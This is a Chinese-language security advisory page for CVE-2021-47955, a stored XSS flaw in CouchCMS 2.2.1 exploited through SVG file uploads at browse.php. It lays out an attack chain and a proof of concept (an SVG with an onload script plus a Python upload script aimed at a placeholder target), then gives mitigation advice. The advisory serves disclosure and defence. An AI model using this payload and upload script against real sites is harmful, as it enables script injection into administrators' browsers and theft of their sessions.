IPBUF安全漏洞报告
English
CVE-2021-47955 CVSS 5.4 中危

CVE-2021-47955 CouchCMS 存储型XSS漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47955
漏洞类型
跨站脚本 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CouchCMS

相关标签

XSSCouchCMSSVG InjectionFile Upload

漏洞概述

CouchCMS 2.2.1版本存在存储型跨站脚本漏洞。由于系统未正确过滤上传的SVG文件内容,经过身份验证的攻击者可以利用文件上传功能上传包含恶意JavaScript代码的SVG文件。当管理员或其他用户访问或预览该文件时,恶意脚本将在其浏览器中执行,从而窃取敏感信息或执行其他恶意操作。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)。CouchCMS在处理文件上传时,特别是针对SVG(可缩放矢量图形)文件,缺乏对文件内容的严格校验。SVG文件基于XML格式,可以嵌入<script>标签或JavaScript事件处理器(如onload)。攻击者通过向browse.php端点发送特制的HTTP请求,上传内嵌恶意脚本的SVG文件。服务器接收并存储该文件。由于服务器没有设置Content-Disposition: attachment头或对SVG文件的MIME类型进行安全处理,当受害者在浏览器中直接访问该SVG文件的URL时,浏览器会将其作为图片渲染并解析其中的JavaScript代码,导致XSS攻击。

攻击链分析

STEP 1
步骤1
攻击者获取CouchCMS的低权限账户凭证。
STEP 2
步骤2
攻击者登录系统,并导航至文件上传功能(browse.php)。
STEP 3
步骤3
攻击者上传包含恶意JavaScript代码的SVG文件。
STEP 4
步骤4
服务器存储文件,并返回文件访问链接。
STEP 5
步骤5
攻击者诱导管理员或目标用户点击该SVG文件链接。
STEP 6
步骤6
目标用户的浏览器解析SVG并执行恶意脚本,导致XSS攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG Payload --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg> <!-- Python Upload Script --> import requests url = "http://target.com/couchcms/browse.php" files = {'uploaded_file': ('exploit.svg', open('exploit.svg', 'rb'), 'image/svg+xml')} data = { 'MAX_FILE_SIZE': '2097152', 'upload': 'Upload' } # Requires authenticated session cookies cookies = {'PHPSESSID': 'your_session_id'} response = requests.post(url, files=files, data=data, cookies=cookies) print(response.text)

影响范围

CouchCMS 2.2.1

防御指南

临时缓解措施
建议在Web服务器层面(如Nginx或Apache)配置规则,禁止直接解析SVG文件,或者通过WAF(Web应用防火墙)拦截包含脚本标签的文件上传请求。同时,管理员应谨慎审查已上传的文件目录,及时删除可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表